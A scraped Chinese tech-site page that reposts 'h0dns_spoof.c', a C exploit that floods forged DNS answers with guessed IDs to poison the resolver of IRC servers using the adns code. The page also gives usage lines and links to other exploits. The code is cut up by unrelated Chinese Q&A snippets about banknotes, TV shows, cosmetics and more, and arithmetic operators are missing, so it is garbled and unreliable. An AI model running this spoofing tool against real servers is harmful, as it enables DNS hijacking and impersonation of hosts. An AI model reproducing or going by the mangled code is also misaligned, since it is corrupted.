allcnewsBLOGNEWSBLOGASKBLOGBLOGZSK全部技术问答问答技术问答it问答代码软件新闻开发博客电脑/网络手机/数码笔记本电脑互联网操作系统软件硬件编程开发360产品资源分享电脑知识文档中心IT全部全部分类 全部分类技术牛文全部分类教程最新 网页制作cms教程平面设计媒体动画操作系统网站运营网络安全服务器教程数据库工具网络安全软件教学vbscript正则表达式javascript批处理更多»编程更新教程更新游戏更新allitnewsJava 新闻网络医疗信息化安全创业站长电商科技访谈域名会议专栏创业动态融资创投创业学院 / 产品经理创业公司人物访谈营销 开发数据库服务器系统虚拟化云计算 嵌入式移动开发作业作业1常见软件all电脑网络手机数码生活游戏体育运动明星影音休闲爱好文化艺术社会民生教育科学医疗健康金融管理情感社交地区其他电脑互联网软件硬件编程开发360相关产品手机平板其他电子产品摄影器材360硬件通讯智能设备购物时尚生活常识美容塑身服装服饰出行旅游交通汽车购房置业家居装修美食烹饪单机电脑游戏网页游戏电视游戏桌游棋牌游戏手机游戏小游戏掌机游戏客户端游戏集体游戏其他游戏体育赛事篮球足球其他运动球类运动赛车健身运动运动用品影视娱乐人物音乐动漫摄影摄像收藏宠物幽默搞笑起名花鸟鱼虫茶艺彩票星座占卜书画美术舞蹈小说图书器乐声乐小品相声戏剧戏曲手工艺品历史话题时事政治就业职场军事国防节日风俗法律法规宗教礼仪礼节自然灾害360维权社会人物升学入学人文社科外语资格考试公务员留学出国家庭教育学习方法语文物理生物工程学农业数学化学健康知识心理健康孕育早教内科外科妇产科儿科皮肤科五官科男科整形中医药品传染科其他疾病医院两性肿瘤科创业投资企业管理财务税务银行股票金融理财基金债券保险贸易商务文书国民经济爱情婚姻家庭烦恼北京上海重庆天津黑龙江吉林辽宁河北内蒙古山西陕西宁夏甘肃青海新疆西藏四川贵州云南河南湖北湖南山东江苏浙江安徽江西福建广东广西海南香港澳门台湾海外地区

BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (spoof on ircd)

日期:2013/11/22 18:52:00 来源:本网整理

服务器安装了bind9,怎么看dns解析日志答:解析日志通常不会直接存起来,需要在/etc/named.conf里的logging设置,除了xfer-log的频道外,再加上以下的内容:由於我这边dns的解析日志非常的大,你可自行调整versions,size之值,以适合你自己的环境:logging{channelquery...linux怎么安装及配置bind9.9.9p1-39.1答:一,安装BIND1.下载BINDhttp://www.isc.org也可以去本站下载bind9dns软件。2.编译安装.代码如下:#tarzxvfbind-9.4.0.tar.gz#cdbind-9.4.0#./configuresysconfdir=/etc//更多安装选项./configure--help#make#makeinstall...


BIND9.xRemoteDNSCachePoisoningFlawExploit(spoofonircd)(图2)


BIND9.xRemoteDNSCachePoisoningFlawExploit(spoofonircd)(图4)


BIND9.xRemoteDNSCachePoisoningFlawExploit(spoofonircd)(图7)


BIND9.xRemoteDNSCachePoisoningFlawExploit(spoofonircd)(图9)


BIND9.xRemoteDNSCachePoisoningFlawExploit(spoofonircd)(图13)


BIND9.xRemoteDNSCachePoisoningFlawExploit(spoofonircd)(图15)

点评:/* h0dns_spoof.c - zmda - saik0pod@yahoo.com * - spoof dns on ircd's using the h0dns code * * - spoof dns on anything using the adns (asynchronous dns resolver) code * * - The bug: * - Static source port used by the adns < id="con_ad1"> < id="con_ad8"> /* h0dns_spoof.c - zmda - saik0pod@yahoo.com

* - spoof dns on ircd's using the h0dns code

BIND9在性能方面有没有优化的方法答:allow-recursion貌似不需要关闭cache。一直认为allow-recursion和recursion是完全一样的,看来不是这样。当然,这个也许是我。防恶意抓取,请查看原文,,真格学网提供内容。

*

* - spoof dns on anything using the adns (asynchronous dns resolver) code

如何看待bind9.x的远程dos漏洞CVE-2015-5477答:ISCBIND是美国InternetSystemsConsortium(ISC)公司所维护的一套实现了DNS协议的开源软件。ISCB。防恶意抓取,请查看原文,,真格学网提供内容。

*

* - The bug:

BIND9是什么问:BIND9是什么答:是一种开源的实现DNS协议的软件。防恶意抓取,请查看原文,,真格学网提供内容。

* - Static source port used by the adns code

如何用bind9实现DNS劫持答:很多isp都用f5来做,所有bind回应的nxdomain的数据包在流经f5的时候,数据包被篡改。。防恶意抓取,请查看原文,,真格学网提供内容。

* - Sequential DNS ids in request packets

bind9怎样设置能和dnsmasq那样,并发查询多个dns服...问:我的路由器openwrt,默认用的是dnsmasq,最近因为特殊要求需要过滤掉aaa...答:bind不用特别设置。它的做法跟d。防恶意抓取,请查看原文,,真格学网提供内容。

*

* - Initiate sequence to trigger a dns lookup by the adns resolver. Send

如何在BIND9中彻底禁用递归,限制只解析本机域名答:allow-recursion貌似不需要关闭cache。一直认为allow-recursion和recursion是完全一样的,看来不是这样。当然。防恶意抓取,请查看原文,,真格学网提供内容。

* the same range of spoofed DNS ids in a constant flood spoofed as the

。防恶意抓取,请查看原文,,真格学网提供内容。

* primary DNS server for the host. Even a local DNS request will take

据新闻报道,前不久江苏扬州市的陶女士收到一张百元钞票,为了检验真假,当时是对着太阳看了一下钞票的水印,谁知这一看竟然发现了一个“疑块”。视频截图据陶女士介绍,百元钞票毛泽东水印上面的眉毛,可以看到跟正。防恶意抓取,请查看原文,,真格学网提供内容。

* long enough to allow some amount of the spoofed DNS responses through

终于等到《乡村爱情》10正式开机了,可以说,这是一部最长寿的电视系列剧,剧中的演员伴随着电视剧的成长而被观众接受和喜爱,特别是像赵四,刘能,谢大脚,谢广坤等角色已深入人心,给剧情增加了更多的笑料和看点。防恶意抓取,请查看原文,,真格学网提供内容。

* before the primary DNS responds. Since the resolver does not cache

虽然变性人能过夫妻生活,但是一般情况下,接受变性手术后的变性人基本不具备生育能力。要实现生育,就需要有输卵管和子宫,并且能有精子和卵子结合。因为通过变性手术,将患者的生殖器官都切除替换了,导致女变男的。防恶意抓取,请查看原文,,真格学网提供内容。

* results, the dns lookups can be triggered until the DNS id is

徕卡、早年大家都是叫莱卡.近些年规范地叫徕卡、莱卡是一种仿织品徕卡的正宗血统是M糸列,因M糸价不低、为适应市场需求、还有追求品牌(只买贵的)、与日本松下合作出几个糸列的小众相机品种用佳能比徕卡这差异性。防恶意抓取,请查看原文,,真格学网提供内容。

* incremented within the DNS id range being spoofed.

3.0排量—代号为6G72,177马力/5250转259N·m/4000转。6G723.0排量V9390年代汽车行业突飞猛进,三菱为当时的轿车设计了2.0排量的6G71跟3.0排量的6G72,两款发动。防恶意抓取,请查看原文,,真格学网提供内容。

*

*/ #include <stdio.h>

21世纪,人们的腰包慢慢变鼓,那些曾经叮铃铃响的硬币如今都到了我们家里的存钱罐里面。但是更多的人迈出了新的步伐,那就是钱币收藏,无论是纸币还是硬币都是有着收藏价值的。而硬币中主要有三类,长城币,老三花。防恶意抓取,请查看原文,,真格学网提供内容。

#include <unistd.h>

《奔跑吧,兄弟》和《极限挑战》是国内两档大火的励志竞技类真人秀节目,《跑男》第五季马上播出了,《极挑》第三季也已经定档暑期。不知不觉,两档综艺节目都已经陪我们走过了很多个春夏秋冬,作为收视率的保障,现。防恶意抓取,请查看原文,,真格学网提供内容。

#include <stdarg.h>

送礼这件事情,我觉得不同的学校有不同的校风,然后不同的老师会有不同的个人作风,还是有个别老师会打破规则,无视规则。其实我是不赞成送礼的。因为小孩子上幼儿园上小学,那是多么自然的一件事情。可能是身边给老。防恶意抓取,请查看原文,,真格学网提供内容。

#include <stdlib.h>

正品的还可以。不管怎样,尽量选择304材质的水壶,市面上很多假冒劣质,用杂不秀钢材质作水壶以次充好,加热时会产生重金属污染,长期使用对人体有害。有些电路还不带过热保护,一旦失控起火灾就大事了,不要贪图。防恶意抓取,请查看原文,,真格学网提供内容。

#include <sys/types.h>

看了不少答案,心里有个疑问,“四大炖菜”是谁给评的呢?实在找不出实在一点儿的出处,估计90%都是度娘告诉大伙儿的吧。不过网上搜来的这四大炖总感觉不太对路子,小笨鸡炖蘑菇这个算是东北特色,其他有说鲶鱼炖。防恶意抓取,请查看原文,,真格学网提供内容。

#include <sys/socket.h>

上粉底液前保湿效果没做好!在化妆前先在脸上涂层滋润露或面霜,然后上粉底液的时候,先把粉底液挤在手背上,和柔肤水按3:1的比例混在一起,用手指点在脸上,慢慢均匀抹开,这样可以防止干燥脱皮,而且也可以稀释。防恶意抓取,请查看原文,,真格学网提供内容。

#include <netdb.h>

聊文玩,找空空,关注文玩讲堂头条号,学习文玩知识!首先空空只代表个人的意见,这份建军九十年周年纪念币收藏价值以及收藏前景并不容乐观,为什么这么说,空空从以下几点为大家分析吧。建军九十周年纪念币收藏价值。防恶意抓取,请查看原文,,真格学网提供内容。

#include <netinet/in.h>

现在的职场中,越来越多的企业开始需要激励机制来调动员工的积极性,让其创造主动性和自主的工作,内在的激励在组织发展中的作用越来越重要。现在的员工在强调外在的工资收入时,也开始强调内在的心理收入,如荣誉感。防恶意抓取,请查看原文,,真格学网提供内容。

#include <arpa/inet.h>

我先聊一下自己对真力时的看法。我的3支zenith20年前,1997我开始买表的时候,zenith是少数完全自产机芯的品牌。劳力士计时机芯那个时候还在用zentih传奇机芯“ElPrimero”,这款。防恶意抓取,请查看原文,,真格学网提供内容。

#include <string.h>

古有孟母择邻,为的是孩子在成长过程中不受外界不良因素的影响,从而更好的陪养孩子,由其现在实际生活中,孩子因为交友不慎,导至很多无法挽回的过错,对于家长一定多注意末成年孩子身边的朋友,和个人崇拜,给已正。防恶意抓取,请查看原文,,真格学网提供内容。

#include <errno.h>

人对一个食物的味道好坏评级实际来自于这些KPI:1)舌头味蕾的味觉感受,味蕾现在被确定是能感知四种味觉,不是“酸甜苦辣”,而是“酸甜苦鲜”,其中“鲜”是人类舌头对蛋白质中的“氨基”的感知能力,”鲜“的。防恶意抓取,请查看原文,,真格学网提供内容。

#include <time.h> #ifndef u8

谢谢邀请。在老一辈人的观念里面,觉得媳妇是嫁入自己家的外人,生下的孩子才是自己家人。所以一直以这种眼光看待媳妇的婆婆,就会把孩子当作私有的财产,觉得自己的媳妇哪怕是还在的妈妈也是没有权利干涉自己管(溺。防恶意抓取,请查看原文,,真格学网提供内容。

#define u8 unsigned char

大家去东南亚国家或者一些中东穆斯林国家,都会遇见在马桶旁边会有一个水龙头或者是一个水桶,水桶里面有水瓢。东南亚的厕所普遍都非常的干净,没有异味,即使是乡村的厕所,也是如此。这主要是出于东南亚的如厕习惯。防恶意抓取,请查看原文,,真格学网提供内容。

#endif #ifndef u16

人人皆有恐惧,你我也并非例外。然而,你与你所仰慕的那些成功人士之间的唯一不同就在于,他们愿意去处理恐惧,然后超越它,最后赢得成功。如果你不学着面对恐惧,它就会支配你的精神和肉体,阻碍你的梦想和生活。其。防恶意抓取,请查看原文,,真格学网提供内容。

#define u16 unsigned short

这分明是拉着日本人来打中国人,陈导你太让人失望了。泱泱大国十四亿人口,再怎么样找个演员不是难事,不知你出于什么考量,挖空心思找个日本人来主演,这也太伤中国人民感情了。中日二国历史恩怨不是说了就了的。虽。防恶意抓取,请查看原文,,真格学网提供内容。

#endif #ifndef u32

枸杞有免疫调节,抗氧化,抗衰老,抗肿瘤,抗疲劳,降血脂,降血糖,降血压,补肾,保肝,明目,养颜,健脑,排毒,保护生殖系统,抗辐射损伤等功能。很多人喜欢用枸杞泡水或煲汤,其实枸杞虽然具有很好的滋补和治疗。防恶意抓取,请查看原文,,真格学网提供内容。

#define u32 unsigned long

上联:五常仁义礼智信,下联:三纪君父夫为纲。纪,纲纪。《三纲五常》之说,起于董仲舒,但他没有将“三纲”和“五常”并称,首次并提连称的是东汉后期的经学家马融。这种并提连称意味着封建思想家终于把封建纲纪和。防恶意抓取,请查看原文,,真格学网提供内容。

#endif

首先梅威瑟和李小龙都是在各自领域创造了奇迹的人物。弗洛伊德·梅威瑟是世界职业拳坛最具拳击天赋的拳手之一,也是世界的超级拳王之一。身体柔韧性好、速度快、脚下移动灵活、出色的躲闪、擅长搂抱和围城打法、体力。防恶意抓取,请查看原文,,真格学网提供内容。

struct dns_header {

在我国农村由于地理环境上的差异化,素有“十里同族,不同俗”的说法,各地的风俗习惯差异很大。如果你是一个农村娃,了解这些风俗习惯是非常有必要的。尤其是农村的一些禁忌习俗需要特别的注意,以免做错了遭人白眼。防恶意抓取,请查看原文,,真格学网提供内容。

u16 id;

邻居大哥最近买了新的智能电视,准备把老式电视机卖掉,我一看好好的老式电视机卖了怪可惜。回想起小米的新年礼物小盒子,突然就有一个DIY想法,可不可以把小米小盒子和老式电视机整合在一起,做成一个小型智能老。防恶意抓取,请查看原文,,真格学网提供内容。

u16 flags;

我养的是拉拉……都是主子应该一样的!做好家里人觉得你吸毒的准备……当铲屎官后花销全部在它上了,淘宝时候自己舍不得买的衣服,看到狗狗的没犹豫直接买了!!自己舍不得吃的零食,看到狗狗的也是直接买了。自从养。防恶意抓取,请查看原文,,真格学网提供内容。

u16 questions;

这些都是国产目前的热门手机,要说品牌好,或许大部分人第一时间都会想到华为,毕竟世界500强企业,如今销量依旧第一。不过现在OPPO和vivo已经赶上来了,而且和华为成为了三大国产智能手机,对于国产这几。防恶意抓取,请查看原文,,真格学网提供内容。

u16 answer_rr;

上联:一山一人一杯茶,一生如此。下联:问日问月问年岁,问心无愧。上联:一山一人一杯茶,一生如此。下联:几时几刻几辰宵,几番风雨。上联:一山一人一杯茶,一生如此。下联:多磨多难多好事,多少刻骨。请指教!。防恶意抓取,请查看原文,,真格学网提供内容。

u16 auth_rr;

养育一个孩子有多难,只有爸爸妈妈最清楚,因为爸爸妈妈是当事者,而别人是旁观者,旁观者当然觉得照顾孩子很容易。婆婆也是如此,当婆婆什么忙也帮不上的时候,说话就没有那么有力度。生不生二胎是你们小两口的事情。防恶意抓取,请查看原文,,真格学网提供内容。

u16 extra_rr;

} __attribute__((packed)); struct dns_data {

u16 name;

u16 type;

u16 class;

u16 ttlh;

u16 ttl;

u16 data_len; /* data len - sizeof(char *) */

char *data;

/* data */

} __attribute__((packed)); struct dns_packet {

size_t len;

u8 type;

char *data;

/* packet data */

}; struct dns_query {

size_t len;

char *data;

}; struct ip_header {

u8 ihl:4,

version:4;

u8 tos;

u16 tot_len;

u16 id;

邻居大哥最近买了新的智能电视,准备把老式电视机卖掉,我一看好好的老式电视机卖了怪可惜。回想起小米的新年礼物小盒子,突然就有一个DIY想法,可不可以把小米小盒子和老式电视机整合在一起,做成一个小型智能老。防恶意抓取,请查看原文,,真格学网提供内容。

u16 frag_off;

u8 ttl;

u8 protocol;

u16 check;

u32 saddr;

u32 daddr;

}; struct udp_header {

u16 source;

u16 dest;

u16 len;

u16 check;

}; #define DNS_A 0x0001

#define DNS_PTR 0x000c struct udp_packet {

struct ip_header iph;

struct udp_header udph;

}; void usage() {

fprintf(stderr, "usage: ./h0dns_spoof <ircd ip> <ircd dns port> <ircd dns ip> "

"<your ip> <spoof host> <dns id>\n");

exit(-1);

} void fatal(char *reason) {

fprintf(stderr, "fatal: %s\n", reason);

exit(-1);

} unsigned short csum(unsigned short *addr, int len) {

register int sum = 0;

u_short answer = 0;

register u_short *w = addr;

register int nleft = len; while (nleft > 1) {

sum = *w ;

nleft -= 2;

} if (nleft == 1) {

*(u_char *)(&answer) = *(u_char *)w ;

sum = answer;

} sum = (sum >> 16) (sum & 0xffff);

sum = (sum >> 16);

answer = ~sum;

return(answer); /* return the checksum value. */

} struct udp_packet *alloc_packet(size_t datalen) {

struct udp_packet *packet;

struct ip_header *iph;

struct udp_header *udph; if(!(packet = calloc(1, sizeof(struct udp_packet) datalen)))

fatal("error: allocating udp packet"); iph = &packet->iph;

udph = &packet->udph; iph->ihl = 5;

iph->version = 4;

iph->tos = 0;

iph->tot_len = sizeof(struct udp_packet) datalen;

iph->id = htonl(0xbeef);

iph->frag_off = 0;

iph->ttl = 255; iph->protocol = 17; udph->len = htons(sizeof(struct udp_header) datalen); return(packet);

} void init_packet(long source, int sport, long dest, int port,

struct udp_packet *udp_packet,

struct dns_packet *dns_packet) {

struct ip_header *iph;

struct udp_header *udph;

char *data; iph = &udp_packet->iph;

udph = &udp_packet->udph; iph->saddr = source;

iph->daddr = dest;

iph->check = csum((unsigned short *)iph, sizeof(struct ip_header)); udph->check = 0;

udph->source = htons(sport);

udph->dest = htons(port); data = (char *)udp_packet sizeof(struct udp_packet);

memcpy(data, &dns_packet->data, dns_packet->len);

} char *dns_string_format(char *out, char *in) {

int i, x; for(i = strlen(in) - 1, x = 0; i > -1; i--, x ) {

if(in[i] == '.') {

out[i] = x;

x = -1;

} else

out[i] = in[i];

} out[i] = x; return(out);

} struct dns_packet *alloc_dns_packet(char *query_data, size_t qlen,

char *answer_data, int type) {

struct dns_packet *dns_packet;

struct dns_header *dns_header;

struct dns_data *dns_data;

char *query,

*answer;

size_t totlen,

alen; if(type == DNS_A)

alen = 4;

else

alen = strlen(answer_data); totlen = sizeof(struct dns_header)

qlen

sizeof(struct dns_data) - sizeof(char *) alen

((type == DNS_A) ? 0 : 2); if((dns_packet = calloc(1, totlen sizeof(size_t) 1

sizeof(char *))) == NULL)

fatal("failed alloc"); dns_packet->len = totlen; dns_header = (struct dns_header *) &dns_packet->data;

query = (char *) &dns_packet->data

sizeof(struct dns_header);

dns_data = (struct dns_data *) (query qlen);

answer = (char *) &dns_data->data

((type == DNS_A) ? 0 : 1);

dns_header->flags = htons(0x8180);

dns_header->questions = htons(1);

dns_header->answer_rr = htons(1);

dns_header->auth_rr = htons(0);

dns_header->extra_rr = htons(0);

memcpy(query, query_data, qlen); dns_data->name = htons(0xc00c);

dns_data->type = htons(type);

dns_data->class = htons(1);

dns_data->ttl = htons(300); dns_data->data_len = htons(alen ((type == DNS_A) ? 0 : 1)); if(type == DNS_A)

memcpy(answer, &answer_data, 4);

else

dns_string_format(answer, answer_data); return(dns_packet);

} struct dns_query *alloc_dns_query(char *query, int qtype) {

struct dns_query *dns_query;

size_t qlen;

int i, x = 0;

char *p;

char *data;

u16 *type,

*class; qlen = 1 strlen(query) 1 2 2; if((dns_query = (struct dns_query *)calloc(1, sizeof(size_t) qlen)) == NULL)

fatal("fatal alloc\n"); dns_query->len = qlen; data = (char *) &dns_query->data 1;

type = (u16 *) (data strlen(query) 1);

class = (u16 *) type 1; dns_string_format(data, query); *type = htons(qtype);

*class = htons(1); return(dns_query);

}; int send_packet(struct in_addr src, u16 sport,

struct in_addr dst, u16 dport,

struct udp_packet *udp_packet,

struct dns_packet *dns_packet, u32 dns_id) {

struct sockaddr_in sin;

struct dns_header *dns_header;

int s, olen;

unsigned char *p;

int i; dns_header = (struct dns_header *) &dns_packet->data;

dns_header->id = htons(dns_id); init_packet(src.s_addr, sport, dst.s_addr, dport, udp_packet, dns_packet); sin.sin_family = AF_INET;

sin.sin_addr = dst;

sin.sin_port = htons(sport); if((s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {

fprintf(stderr, "%s: ERROR send_packet() -> socket()\n", inet_ntoa(dst));

return(s);

} if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &olen, sizeof(olen)) < 0)

fprintf(stderr, "ERROR: could not set socket option IP_HDRINCL.\n"); while(sendto(s, udp_packet, sizeof(struct udp_packet) dns_packet->len, 0,

(struct sockaddr *)&sin, sizeof(sin)) < 0) { if(errno == ENOBUFS)

usleep(50);

else {

fprintf(stderr, "%s: send_packet() -> sendto() [%d]\n", inet_ntoa(dst), errno);

close(s);

return(-1);

} } close(s); } void do_spoof(struct in_addr src, u16 sport,

struct in_addr dst, u16 dport,

struct in_addr me, char *answer, u16 dns_id) {

struct udp_packet *udp_packet_A,

*udp_packet_PTR;

struct dns_packet *dns_packet_A,

*dns_packet_PTR;

struct dns_query *dns_query_A,

*dns_query_PTR;

char query[255];

int i; printf("dns_id = %d\n", dns_id); snprintf(query, sizeof(query) - 1,

"%d.%d.%d.%d.in-addr.arpa",

(me.s_addr >> 24),

(me.s_addr >> 16) & 0xff,

(me.s_addr >> 8) & 0xff,

(me.s_addr ) & 0xff); dns_query_A = alloc_dns_query(answer, DNS_A);

dns_packet_A = alloc_dns_packet((char *)&dns_query_A->data,

dns_query_A->len,

(char *)me.s_addr, DNS_A);

udp_packet_A = alloc_packet(dns_packet_A->len);

dns_query_PTR = alloc_dns_query(query, DNS_PTR);

dns_packet_PTR = alloc_dns_packet((char *)&dns_query_PTR->data,

dns_query_PTR->len, answer, DNS_PTR);

udp_packet_PTR = alloc_packet(dns_packet_PTR->len); /* weee flood time */

for(i = 0; ; i ) {

send_packet(src, sport, dst, dport, udp_packet_A, dns_packet_A, dns_id i);

send_packet(src, sport, dst, dport, udp_packet_PTR, dns_packet_PTR, dns_id i);

usleep(50); if(i > 3)

i = 0;

}

} long resolve(char *host) {

struct in_addr ip;

struct hostent *he; if((ip.s_addr = inet_addr(host)) == -1) {

if(!(he = gethostbyname(host)))

return(-1);

else

memcpy(&ip.s_addr, he->h_addr, 4);

}

return(ip.s_addr);

} int main(int argc, char *argv[]) {

int i, dns_port, dns_id;

struct in_addr ircd,

ircd_ns,

me;

char *spoof_host; printf("###### h0dns_spoof1.c - zmda - saik0pod@yahoo.com ######\n"); if(argc < 6)

usage(); if((ircd.s_addr = resolve(argv[1])) == -1)

fatal("ircd host invalid"); dns_port = atoi(argv[2]); if((ircd_ns.s_addr = resolve(argv[3])) == -1)

fatal("ircd dns host invalid"); if((me.s_addr = resolve(argv[4])) == -1)

fatal("my host invalid"); spoof_host = argv[5];

dns_id = atoi(argv[6]); do_spoof(ircd_ns, 53, ircd, dns_port, me, spoof_host, dns_id); }

想问下ubuntu下bind9.10配置dns后。用nslooku...问:想问下如何改为127.0.0.1答:提示说找不到服务。你没设置DNS地址吧。CentOS7系统下bind9.9.4如何调用MariaDB/mysql中...问:系统是:CentOS7yuminstall安装的bind是9.9版本的,号称自带DLZnam...答:bind的dlz貌似是不支持mysl的。BINDincludesaDNSserver(named-sdb)whichhascompiled-inSDB(SimplifiedDatabaseBackend)whichincludessupportforusingalternativeZoneDatabasesstoredinanLDAPserver(ldapdb),apostg...

  • 本文相关:
  • LoveCMS 1.6.2 Final Remote Code Execution Exploit
  • Xerox Phaser 8400 (reboot) Remote Denial of Service Exploit
  • moziloCMS 1.10.1 (download.php) Arbitrary Download File Exploit
  • Joomla Component EZ Store Remote Blind SQL Injection Exploit
  • Friendly Technologies (fwRemoteCfg.dll) ActiveX Command Exec Exploit
  • Friendly Technologies (fwRemoteCfg.dll) ActiveX Remote BOF Exploit
  • IntelliTamper 2.07 (imgsrc) Remote Buffer Overflow Exploit
  • Ultra Office ActiveX Control Remote Buffer Overflow Exploit
  • Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF Exploit
  • MyBulletinBoard (MyBB)
  • 免责声明 - 关于我们 - 联系我们 - 广告联系 - 友情链接 - 帮助中心 - 频道导航
    Copyright © 2017 www.zgxue.com All Rights Reserved